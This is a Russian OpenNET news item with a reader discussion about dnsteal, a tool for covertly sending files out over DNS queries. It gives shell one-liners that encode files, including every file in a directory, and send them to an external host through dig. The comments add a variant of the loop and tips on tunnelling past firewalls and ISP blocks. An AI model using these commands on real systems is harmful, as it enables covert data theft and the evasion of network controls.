The OpenNET Project / Index page

[ новости /+++ | форум | теги | ]

Скрытая отправка файлов через DNS
В рамках проекта https://github.com/m57/dnsteal развивается фиктивный
DNS-сервер, позволяющий организовать скрытую отправку файлов по протоколу DNS,
используя штатные системные утилиты резолвинга. Для уменьшения трафика
поддерживается сжатие передаваемого содержимого.


Запускаем сервер ("-z" - включает сжатие):

   python dnsteal.py 192.168.1.1 -z


Для отправки файла send.txt на внешний хост 192.168.1.1, на котором запущен
dnsteal, достаточно выполнить:

   for b in $(gzip -c send.txt | xxd -p); do dig @192.168.1.1 $b.filename.com; done

Для отправки всех файлов из текущей директории

   for filename in $(ls); do for b in $(gzip -c $filename | xxd -p); do dig +short @192.168.1.1 %b.$filename.com; done; done
 
11.10.2015
Ключи: dns, file / Лицензия: CC-BY
Раздел:    Корень / Администратору / Сетевые сервисы / DNS

Обсуждение [ Линейный режим | Показать все | RSS ]
  • 1.1, a9a83j43nja09gje (?), 23:12, 10/10/2015 [ответить] [﹢﹢﹢] [ · · · ]  
  • +/
    текущая версия на гитхабе не заработала) заработал форк там же на гитхабе, файл 1 мб отправлялся больше 6 часов, так и не отправился) надо было идти домой
    идея не нова, но интересно и доступно!)
     
  • 1.2, fleonis (ok), 12:58, 11/10/2015 [ответить] [﹢﹢﹢] [ · · · ]  
  • +/
    в смысле отправить файл, замаскировав его под обычный dns запрос?
     
  • 1.3, Nas_tradamus (ok), 15:37, 11/10/2015 [ответить] [﹢﹢﹢] [ · · · ]  
  • +/
    Но есть же iodine для более коварных вещей.
    Тестил - работает. Эта штука позволяет заворачивать весь ipv4-трафиик через DNS.
     
     
  • 2.4, Аноним (-), 20:49, 11/10/2015 [^] [^^] [^^^] [ответить]  
  • +/
    > Но есть же iodine для более коварных вещей.

    Вся прелесть предложенного решения в том, что на клиенте достаточно обычного shell и любой штатной утилиты типа dig для резолвинга. В  iodine  нужно ставить специального клиента, что сводит на нет всю "скрытность" действий на клиентской системе.

     
     
  • 3.19, анонимаус (?), 10:56, 27/10/2015 [^] [^^] [^^^] [ответить]  
  • +/
    администраторам localnet чтоли?

    вся прелесть iodine в том, что он работает и за firewall (и wifi, не авторизовавшись, но те которые резолвят внешние имена), кто же вас пустит на внешний сервер напрямую (dig @server) из сети, которая за firewall ?

     
     
  • 4.22, Pahanivo (ok), 15:11, 24/11/2015 [^] [^^] [^^^] [ответить]  
  • +/
    вот именно, что вся эта бредовая идея идет в опу, если админ держить днс на шлюзе и фильтрует внешние, а он скорей всего так и делает.
     
     
  • 5.24, AdVv (ok), 15:43, 30/06/2016 [^] [^^] [^^^] [ответить]  
  • +/
    Наводящий вопрос: откуда "днс на шлюзе местного админа" берет информацию о неизвестных доменных адресах ?
     

  • 1.5, Crazy Alex (ok), 21:03, 12/10/2015 [ответить] [﹢﹢﹢] [ · · · ]  
  • +/
    Добавили бы fold чтобы не по одному байту посылать, а по 10, например:

    for b in $(gzip -c send.txt | xxd -p |fold -b10); do dig @192.168.1.1 $b.filename.com; done

     
     
  • 2.6, Аноним (-), 13:10, 14/10/2015 [^] [^^] [^^^] [ответить]  
  • +/
    Это у вас такой странных xxd. Опция -p как раз и нужна для того, чтобы не разделять байты. Разделение происходит на длинные строки.
     

  • 1.7, Виталий (??), 12:33, 15/10/2015 [ответить] [﹢﹢﹢] [ · · · ]  
  • +/
    dig @192.168.1.1
    так если у вас открыт порт на удаленном сервере - можно все что угодно. вот если бы  dig @днспровайдера\конторы\которая не выпускает ничего больше как через Собственных днс сервре ....
    в общем костыль к квадратному колесу
     
     
  • 2.8, Alex (??), 22:28, 15/10/2015 [^] [^^] [^^^] [ответить]  
  • +/
    Элементарно, ватсон. Чуть переписываете шеловую команду (префиксуете байты, чтобы от кеширования уйти), и она с удовольствием шлёт резолвы через любую цепочку резолверов к вашему домену.
     
     
  • 3.17, НьюВасюковец (?), 13:24, 26/10/2015 [^] [^^] [^^^] [ответить]  
  • +/
    Без примера -это просто трепология.
     

  • 1.9, YetAnotherOnanym (ok), 15:23, 16/10/2015 [ответить] [﹢﹢﹢] [ · · · ]  
  • +/
    А зачем писать отдельный демон, когда можно просто прогрепать логи бинда (или кто там крутится) и вытащить фрагменты из сообщений об ошибках? А ещё вопрос - если у провайдера несколько роутов к целевому хосту и запросы прибудут не в том порядке, в каком они были отправлены - с этим что делать?
     
  • 1.10, Аннонним (?), 05:58, 17/10/2015 [ответить] [﹢﹢﹢] [ · · · ]  
  • +/
    Подумал халявный интернет изобрели, оказалось нет - 6 часов, пусть даже на файл 1 мб, это слишком долго.
     
     
  • 2.11, pavlinux (ok), 01:52, 18/10/2015 [^] [^^] [^^^] [ответить]  
  • +/
    У нормального провайдера, с неоплаченным инетом, запросы дальше фаервола не ходят.  
     
     
  • 3.12, count0krsk (ok), 06:29, 18/10/2015 [^] [^^] [^^^] [ответить]  
  • +/
    Так и есть. Даже днс-запросы режут, не говоря о пингах. Причем ВСЕ провайдеры, с которыми сталкивался. Исключение - пиринговые ресурсы. Они работают свободно. А т.к. в городском пиринге почти все провайдеры, просто поднимается прокся у другого прова, и через неё работаете, если лень платить идти. Ещё можно так с работы сидеть в необрезанном инете, если вы - кодер, а злой админ закрыл вконтактик.
     
     
  • 4.20, Аноним (-), 22:04, 20/11/2015 [^] [^^] [^^^] [ответить]  
  • +/
    Если вы кодер, а злой админ закрыл вконтактик, то что вам мешает пробросить ssh-tunnel?
     
  • 3.13, Анонимус III (?), 11:05, 18/10/2015 [^] [^^] [^^^] [ответить]  
  • +/
    У моего провайдера с неоплаченным интернетом работал сайт провайдера. А на сайте провайдера была бесплатная почта, ящик 10 МБ. И через POP3/IMAP/SMTP она тоже была доступна. Запустил на работе демона, который по почте получал URL, скачивал его, разбивал на куски размером 10 МБ и отсылал на тот бесплатный ящик. А дома другой демон доставал куски из ящика и собирал воедино. Недели три так сидел, из спортивного интереса.
     
     
  • 4.14, Мимо проходил (?), 09:45, 20/10/2015 [^] [^^] [^^^] [ответить]  
  • +/
    А можно поподробней про реализацию?
     
     
  • 5.16, pavlinux (ok), 01:27, 23/10/2015 [^] [^^] [^^^] [ответить]  
  • +/
    > А можно поподробней про реализацию?

    До макдональца быстрее добежать.

     
  • 5.18, НьюВасюковец (?), 13:28, 26/10/2015 [^] [^^] [^^^] [ответить]  
  • +/
    > А можно поподробней про реализацию?

    таких примеров жопой жуй
    http://habrahabr.ru/post/65322/

     
  • 4.15, Аноним (-), 12:17, 22/10/2015 [^] [^^] [^^^] [ответить]  
  • +/
    прям как Столман
     

  • 1.21, DmA (??), 10:25, 22/11/2015 [ответить] [﹢﹢﹢] [ · · · ]  
  • +/
    лучше бы придумали как DNS пакеты нельзя было ни подменить, ни посмотреть что там внутри ходит...
     
     
  • 2.23, nuclight (??), 14:29, 27/11/2015 [^] [^^] [^^^] [ответить]  
  • +/
    dnscrypt от djb сто лет как
     

  • 1.25, freehck (ok), 15:50, 03/11/2016 [ответить] [﹢﹢﹢] [ · · · ]  
  • +/
    Имхо легче туннель через 443й порт повесить, используя, скажем, sslh. 443й обычно открыт, а что ты там внутри туннеля шлёшь никто всё равно не прочитает. А 53й с весьма большой вероятностью может быть и закрыт.
     

     Добавить комментарий
    Имя:
    E-Mail:
    Заголовок:
    Текст:




    Партнёры:
    PostgresPro
    Inferno Solutions
    Hosting by Hoster.ru
    Хостинг:

    Закладки на сайте
    Проследить за страницей
    Created 1996-2024 by Maxim Chirkov
    Добавить, Поддержать, Вебмастеру